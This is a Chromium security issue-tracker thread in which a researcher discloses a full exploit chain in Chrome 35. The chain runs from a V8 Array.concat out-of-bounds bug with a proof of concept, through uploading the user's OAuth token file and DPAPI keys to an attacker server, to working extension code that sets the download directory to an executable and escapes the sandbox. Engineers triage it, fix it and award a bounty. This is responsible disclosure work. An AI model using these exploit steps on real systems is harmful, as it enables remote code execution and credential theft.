New issue
Advanced search Search tips
Note: Color blocks (like or ) mean that a user may not be available. Tooltip shows the reason.

Issue 386988 link

Starred by 8 users

Full chain exploit + sandbox escape: Array.concat -> extension install -> download exec

Reported by lkh...@gmail.com, Jun 20 2014

Issue description

VULNERABILITY DETAILS
= Out-of-bounds access vulnerability in Array.concat()

I use a bug in Array.concat() to execute arbitraty code in a sandbox.
 
----------------------------------------------------------------------
v8/src/runtime.cc [1]
RUNTIME_FUNCTION(Runtime_ArrayConcat) {
  HandleScope handle_scope(isolate);
  ASSERT(args.length() == 1);

  CONVERT_ARG_HANDLE_CHECKED(JSArray, arguments, 0);
  int argument_count = static_cast<int>(arguments->length()->Number());
  RUNTIME_ASSERT(arguments->HasFastObjectElements());
  Handle<FixedArray> elements(FixedArray::cast(arguments->elements()));

  // Pass 1: estimate the length and number of elements of the result.
  // The actual length can be larger if any of the arguments have getters
  // that mutate other arguments (but will otherwise be precise).
  // The number of elements is precise if there are no inherited elements.

  ElementsKind kind = FAST_SMI_ELEMENTS;

  uint32_t estimate_result_length = 0;
  uint32_t estimate_nof_elements = 0;
  for (int i = 0; i < argument_count; i++) {
    HandleScope loop_scope(isolate);
    Handle<Object> obj(elements->get(i), isolate);     
    uint32_t length_estimate;
    uint32_t element_estimate;
    if (obj->IsJSArray()) {
      Handle<JSArray> array(Handle<JSArray>::cast(obj));
      length_estimate = static_cast<uint32_t>(array->length()->Number()); <<<<< Comment 1. This is first time, reference a length field of array.
      if (length_estimate != 0) {
        ElementsKind array_kind =
            GetPackedElementsKind(array->map()->elements_kind());
        if (IsMoreGeneralElementsKindTransition(kind, array_kind)) {
          kind = array_kind;
        }
      }
      element_estimate = EstimateElementCount(array);
    } else {
      if (obj->IsHeapObject()) {
        if (obj->IsNumber()) {
          if (IsMoreGeneralElementsKindTransition(kind, FAST_DOUBLE_ELEMENTS)) {
            kind = FAST_DOUBLE_ELEMENTS;
          }
        } else if (IsMoreGeneralElementsKindTransition(kind, FAST_ELEMENTS)) {
          kind = FAST_ELEMENTS;
        }
      }
      length_estimate = 1;
      element_estimate = 1;
    }
    // Avoid overflows by capping at kMaxElementCount.
    if (JSObject::kMaxElementCount - estimate_result_length <
        length_estimate) {
      estimate_result_length = JSObject::kMaxElementCount;
    } else {
      estimate_result_length += length_estimate; <<<<< Comment 2. length_estimate, which is initialized in [Comment 1], is added to estimate_result_length.

    }
    if (JSObject::kMaxElementCount - estimate_nof_elements <
        element_estimate) {
      estimate_nof_elements = JSObject::kMaxElementCo     unt;
    } else {
      estimate_nof_elements += element_estimate;
    }
  }

  ...
  ...

  Handle<FixedArray> storage;
  if (fast_case) {
    // The backing storage array must have non-existing elements to preserve
    // holes across concat operations.
    storage = isolate->factory()->NewFixedArrayWithHoles( <<<<< Comment 3. Create an array of size estimated_result_length.
        estimate_result_length);
  } else {
    // TODO(126): move 25% pre-allocation logic into Dictionary::Allocate
    uint32_t at_least_space_for = estimate_nof_elements +
                                  (estimate_nof_elements >> 2);
    storage = Handle<FixedArray>::cast(
        SeededNumberDictionary::New(isolate, at_least_space_for));
  }

  ArrayConcatVisitor visitor(isolate, storage, fast_case);

  for (int i = 0; i < argument_count; i++) {
    Handle<Object> obj(elements->get(i), isolate);
    if (obj->IsJSArray()) {
      Handle<JSArray> array = Handle<JSArray>::cast(obj);
      if (!IterateElements(isolate, array, &visitor)) { <<<<< Comment 4. Call IterateElements()
        return isolate->heap()->exception();
      }
    } else {
      visitor.visit(0, obj);
      visitor.increase_index_offset(1);
    }
  }

  if (visitor.exceeds_array_limit()) {
    return isolate->Throw(
        *isolate->factory()->NewRangeError("invalid_array_length",
                                           HandleVector<Object>(NULL, 0)));
  }
  return *visitor.ToArray(); <<<<< Comment 5. ToArray() create a corrupted Array.
}
----------------------------------------------------------------------

Here is details on IterateElements() and ToArray().

----------------------------------------------------------------------
v8/src/runtime.cc [1]

static bool IterateElements(Isolate* isolate,
                            Handle<JSArray> receiver,
                            ArrayConcatVisitor* visitor) {
  uint32_t length = static_cast<uint32_t>(receiver->length()->Number()); <<<<< 4.1. This is second time, reference a length field of array.
  switch (receiver->GetElementsKind()) {
     ...
  }
  visitor->increase_index_offset(length); <<<<<<<<<<
  return true;
}

void increase_index_offset(uint32_t delta) {
  if (JSObject::kMaxElementCount - index_offset_ < delta) {
    index_offset_ = JSObject::kMaxElementCount;
  } else {
    index_offset_ += delta; <<<<<<<<<
  }
}
----------------------------------------------------------------------

----------------------------------------------------------------------
Handle<JSArray> ToArray() {
  Handle<JSArray> array = isolate_->factory()->NewJSArray(0);
  Handle<Object> length =
      isolate_->factory()->NewNumber(static_cast<double>(index_offset_)); <<<<< 5.1. local variable length is initalized with member variable index_offset_.
  Handle<Map> map = JSObject::GetElementsTransitionMap(
      array,
      fast_elements_ ? FAST_HOLEY_ELEMENTS : DICTIONARY_ELEMENTS);
  array->set_map(*map);
  array->set_length(*length);  <<<<< 
  array->set_elements(*storage_); <<<<< 5.2. However, storage_ is created with a size with [Comment 3].
  return array;
}
----------------------------------------------------------------------
(I can't definitely sure whether those above analysis is accurate or not.)


Here is proof-of-concept.
----------------------------------------------------------------------
a = [1];
b = [];
a.__defineGetter__(0, function () {
     b.length = 0xffffffff;
});

c = a.concat(b);
console.log(c);
----------------------------------------------------------------------


= From out-of-bounds to code execution

Using out-of-bounds vulnerability in Array, attacker can trigger Use-after-free to execute code.

1. Create 2D Array, which contain corrupted Array(###) and normal Array(o), alternatively.

[###########][      o      ][###########][      o      ][###########][      o      ][###########][      o      ]
2. free all normal Arrays(o) and 2D Array.
3. reference freed normal array(o) by corrupted array(###).
           ---------|
[###########][      o      ][###########][      o      ][###########][      o      ][###########][      o      ]
4. Memory is not entirely clear, even normal Array(o) was freed. So we can use it as normal object.
5. Let an ArrayBuffer allocated on freed normal array(o) by creating many ArrayBuffer.
6. Through freed normal Array(o), manipulate ArrayBuffer's property(byteLength, buffer address) to arbitrary memory access.

P.S. exploit is not optimized.

= Sandbox bypassing via chrome extension

Here, i describe exploit scenario and explain about sandbox escaping. 

Step 0. Victim open a malicious web page(Exploit).
Step 1. Exploit let victim download a html page which will be executed on file:// origin. 
Step 2. After triggerring code execution vulnerability, open the html page(html page on step 1) by NavigateContentWindow(It use same functionality of chrome.embeddedSearch.newTabPage.navigateContentWindow of chrome://newtab).
Step 3. Because of origin is file://. Attacker can access local files(read). but due to SecurityOrigin, use code execution flaws to change SecurityOrigin.
Step 4. Upload user's oauth token information (%localappdata%/Google/Chrome/User Data/Default/Web Data) to attacker's server.
Step 5. From now on, we can synchronize Chrome with the user's token(i'm not sure that there is additional security mechanism on OAuth to synchronize chrome browser).
Step 6. Install extension for at Synchronized chrome.
Step 7. During synchronization a user's Chrome install extension, too.

[Step 4] may takes time. in case of windows, token file is encrypted with DPAPI. 
So, bruteforcing password for windows login is required to get a master key file at %appdata%/Microsoft/Protect/.

[Step 6] use some vulnerability(?) in extension to bypass sandbox.
In chrome://settings-frame/settings, user can change download.default_directory.
Using chrome.downloads.showDefaultFolder(), chrome extension can open the directory on download.default_directory.
but it doesn’t check whether directory path is file or directory. (in case of file, Chrome execute it)
So, malicious attacker can bypass sandbox by set download.default_directory to an executable on external server(e.g. \\host\hihi.exe) then call chrome.downloads.showDefaultFolder().

I use debugger for extension to run JavaScript on chrome://settings-frame/settings. 
In general, url start with chrome:// is not attachable. but simple tricks as following works. 

view-source:chrome://settings-frame/settings
about:settings-frame/settings

Chrome extension code for sandbox escaping
----------------------------------------------------------------------
function sleep(milliseconds) {
     var start = new Date().getTime();
     for (;;) {
          if ((new Date().getTime() - start) > milliseconds)
               break;
     }
}

chrome.tabs.create({url: "about:settings-frame/settings"}, function (tab) {
     chrome.debugger.attach({tabId: tab.id}, "1.0", function () {
          sleep(1000);
          chrome.debugger.sendCommand({tabId: tab.id}, "Runtime.evaluate", {expression: 'old = document.getElementById("downloadLocationPath").value; chrome.send("setStringPref", ["download.default_directory", "c:\\\\windows\\\\system32\\\\calc.exe"]);'}, function (o) {
               sleep(100);
               chrome.downloads.showDefaultFolder(); //open calc
               chrome.debugger.sendCommand({tabId: tab.id}, "Runtime.evaluate", {expression: 'chrome.send("setStringPref", ["download.default_directory", old]); window.close();'});
          });
     });
});
----------------------------------------------------------------------
Tested on Windows 7

VERSION
Chrome Version: 35.0.1916.153 stable
Operating System: Windows 7
 
exploit.7z
4.3 KB Download

Comment 1 by jsc...@chromium.org, Jun 20 2014

I need to verify this and break it out into separate bugs, but here's the individual bugs I see on my first pass:

1. V8 has an unprotected getter for Array.length()
2. 1993 introduced a web -> file: navigation bypass
3. Sync still allows silent extension installs (they know, maybe  issue 50275 )
4. Extension can silently debug chrome pages (maybe related to  issue 367567 )
5. The default download location can be set to an exe (see DownloadPathIsDangerous), which will be shell exec'd on an opening the downloads "folder".

Comment 2 by jsc...@chromium.org, Jun 20 2014

Cc: miket@chromium.org jochen@chromium.org pedrosim...@chromium.org danno@chromium.org kalman@chromium.org samarth@chromium.org rdsmith@chromium.org tim@chromium.org asanka@chromium.org
Labels: Security_Severity-Critical Security_Impact-None M-36
Summary: Full chain exploit + sandbox escape: Array.concat -> extension install -> download exec (was: Security: Array.concat bug and some others(including exploits).)
Changing the name and adding CCs for the different areas, which I will break out into their own bugs shortly.

Heads up to the CCs. Since this is a full web to unsandboxed code exploit we will want to break as many links in the chain as we can for the next stable push.

Minor logistical note: I'm setting severity-critical but impact-none, since this is an umbrella bug and the breakout bugs will have the immediate impact and severity.

Comment 4 Deleted

Project Member

Comment 5 by ClusterFuzz, Jun 20 2014

Labels: Pri-0 Security_Impact-Beta

Comment 6 by kalman@chromium.org, Jun 20 2014

Cc: erikkay@chromium.org

Comment 7 by jsc...@chromium.org, Jun 20 2014

Cc: jsc...@chromium.org
Cc: timwillis@chromium.org

Comment 9 by parisa@chromium.org, Jun 20 2014

Cc: parisa@chromium.org
Labels: reward-topanel

Comment 11 by nasko@chromium.org, Jun 20 2014

Cc: kmadhusu@chromium.org
Adding kmadhusu@chromium.org, who is working on fixing  issue 387033 .
Cc: lafo...@chromium.org matthewyuan@chromium.org
Labels: -Security_Impact-None Security_Impact-Stable
The current M36 beta build is likely to be promoted to stable, pushing the week of 14 July (at this stage, Tuesday 15 July).

Although this is tagged as critical and affects current stable, if there's no indication that this is being actively exploited, I recommend that we patch this into the M36 beta and then let it roll out in the first M36 release in a few weeks time.
Cc: rogerta@chromium.org
One last thing that really worries me is that we have fully privileged oauth tokens sitting unencrypted in "Web Data".

rogerta@ tim@ - Any idea what the deal is with that?

Comment 14 by miket@chromium.org, Jun 20 2014

Cc: courage@chromium.org
courage@: see #13, consider same for chrome.identity
I skimmed the exploit too fast. He's grabbing the local DPAPI keys out of the user profile (since he can read the file-system already via the file: URL navigations). Then he uploads the recovery keys and the "Web Data" to his server, where I assume he does the decryption.

BIG GIANT WARNING:

DO NOT RUN THIS ON A PROFILE WITH ANY SENSITIVE DATA IN YOUR OS OR USER PROFILE. THE POC RELIES ON SENDING YOUR CHROME PROFILE AND OS CRYPTO KEYS TO A REMOTE SERVER FOR DECRYPTION.

Hopefully everyone already knows better, but I just want to be safe.

Project Member

Comment 16 by ClusterFuzz, Jun 20 2014

Labels: -Pri-0 ReleaseBlock-Stable Pri-1
Project Member

Comment 17 by ClusterFuzz, Jun 22 2014

Labels: Cr-Internals-Sandbox
Project Member

Comment 18 by ClusterFuzz, Jun 23 2014

Labels: Untriaged-1
Project Member

Comment 19 by ClusterFuzz, Jun 23 2014

Labels: Owner-Triage
Owner: mea...@chromium.org
Status: Assigned
meacer@: Can you please take a look or find someone else to own it.

- Your friendly ClusterFuzz
Owner: ----
Status: Available
Labels: OS-All
Project Member

Comment 22 by ClusterFuzz, Jun 25 2014

Labels: Missing_Owner-2
Labels: -M-36 -Security_Impact-Beta -Security_Impact-Stable -ReleaseBlock-Stable -Untriaged-1 -Owner-Triage -Missing_Owner-2 Security_Impact-None
Fixing the flags to get this off the triage list and stop the nags.
Project Member

Comment 24 by ClusterFuzz, Jun 25 2014

Labels: Owner-Triage
Owner: jln@chromium.org
Status: Assigned
jln: Can you please take a look or find someone else to own it.

You are auto-assigned this issue since you are the top fixer for area label 'Cr-Internals-Sandbox'.

- Your friendly ClusterFuzz
Labels: -Owner-Triage
Owner: infe...@chromium.org
We dont have meta label for exclusion yet in Sheriffbot
Labels: -Cr-Internals-Sandbox
And Cr-Internals-Sandbox doesn't make sense here.
Project Member

Comment 27 by ClusterFuzz, Jun 25 2014

Labels: Cr-Internals-Plugins-PDF
Labels: -Cr-Internals-Plugins-PDF Cr-Internals
Project Member

Comment 29 by ClusterFuzz, Jul 4 2014

Labels: Nag
inferno@: Uh oh! This issue is still open and hasn't been updated in the last 7 days. Since this is a serious security vulnerability, we want to make sure progress is happening. Can you update the bug with current status, and what, if anything, is blocking?

If you are not the right Owner for this bug, please find someone else to own it as soon as possible and remove yourself as Owner.

If the issue is already fixed or you are to unable to reproduce it, please close the bug. (And thanks for fixing the bug!).

These nags can be disabled by adding a 'WIP' label and an optional codereview link.

- Your friendly ClusterFuzz
Spoke to jschuh@ offline - providing that  Issue 387031  and  Issue 387033  are fixed and land in M36, we should be okay for the other issues to land in a later M36 build.

 Issue 387031  is fixed and merged to a version of V8 that will land with M36, so that's done.

 Issue 387033  is fixed but requires merging. I'll chase that through to landing on M36.
Project Member

Comment 31 by ClusterFuzz, Jul 12 2014

inferno@: Uh oh! This issue is still open and hasn't been updated in the last 7 days. Since this is a serious security vulnerability, we want to make sure progress is happening. Can you update the bug with current status, and what, if anything, is blocking?

If you are not the right Owner for this bug, please find someone else to own it as soon as possible and remove yourself as Owner.

If the issue is already fixed or you are to unable to reproduce it, please close the bug. (And thanks for fixing the bug!).

These nags can be disabled by adding a 'WIP' label and an optional codereview link.

- Your friendly ClusterFuzz
lkhz49@ - Just letting you know that we're fixing the v8 component of this bug in the first v.36 release and hoping to address the other issues in later patches to v.36.

Once all of the bugs are fixed as part of the chain, we'll then take your bug to the reward panel and determine how much cash you should get for this submission.

Any questions or concerns, please update this bug. If you want to talk outside of the issue tracker, feel free to email me directly.
Project Member

Comment 33 by ClusterFuzz, Jul 20 2014

inferno@: Uh oh! This issue is still open and hasn't been updated in the last 7 days. Since this is a serious security vulnerability, we want to make sure progress is happening. Can you update the bug with current status, and what, if anything, is blocking?

If you are not the right Owner for this bug, please find someone else to own it as soon as possible and remove yourself as Owner.

If the issue is already fixed or you are to unable to reproduce it, please close the bug. (And thanks for fixing the bug!).

These nags can be disabled by adding a 'WIP' label and an optional codereview link.

- Your friendly ClusterFuzz
Project Member

Comment 34 by ClusterFuzz, Jul 22 2014

Labels: Deadline-Exceeded
You have far exceeded the 30-day deadline for fixing this critical severity security vulnerability.

We commit ourselves to this deadline and appreciate your utmost priority on this issue.

If you are unable to look into this soon, please find someone else to own this.

- Your friendly ClusterFuzz
inferno@ - The sheriffbot is ignoring the Security_Impact-None label, because it shouldn't be nagging in that case.
Labels: -Deadline-Exceeded
Project Member

Comment 37 by ClusterFuzz, Aug 15 2014

Labels: Deadline-Exceeded
You have far exceeded the 30-day deadline for fixing this critical severity security vulnerability.

We commit ourselves to this deadline and appreciate your utmost priority on this issue.

If you are unable to look into this soon, please find someone else to own this.

- Your friendly ClusterFuzz
lkhz49@: How would you like to be credited when we mention this bug in our release notes? 

We should have an update for you on the reward for this in the next few days. Thanks again for the report!

Comment 39 by lkh...@gmail.com, Aug 22 2014

lokihardt@asrt
Use that. thanks :)
Labels: -Restrict-View-SecurityTeam Restrict-View-SecurityNotify
Labels: -reward-topanel reward-unpaid reward-30000
Thanks again for the detailed report! This qualifies for a special $30000 reward.

Someone should be getting in touch with you soon with additional details, but please leave a comment here if you have any questions in the meantime.
Status: Fixed
Project Member

Comment 43 by ClusterFuzz, Aug 28 2014

Labels: Merge-NA
Cc: dved...@gmail.com
Cc: timwil...@gmail.com
Labels: -reward-unpaid reward-inprocess
lkhz49@: Sweet bug! Someone from our finance team should be reaching out to you for your details for payment. If you haven't heard from them in a week, please contact me directly.
Project Member

Comment 46 by ClusterFuzz, Dec 4 2014

Labels: -Restrict-View-SecurityNotify
Bulk update: removing view restriction from closed bugs.
Labels: -reward-inprocess
Processing via our e-payment system can take up to two weeks, but the reward should be on its way to you. Thanks again for your help!
Project Member

Comment 48 by sheriffbot@chromium.org, Oct 1 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Project Member

Comment 49 by sheriffbot@chromium.org, Oct 2 2016

This bug has been closed for more than 14 weeks. Removing security view restrictions.

For more details visit https://www.chromium.org/issue-tracking/autotriage - Your friendly Sheriffbot
Labels: allpublic
Could someone explain to me what this is exactly showing? I am new to the program and really have not quite understood anything about it. While I know alot about computers and such, This goes way over my understanding. 

Thank You.  
Cc: -rdsmith@chromium.org

Sign in to add a comment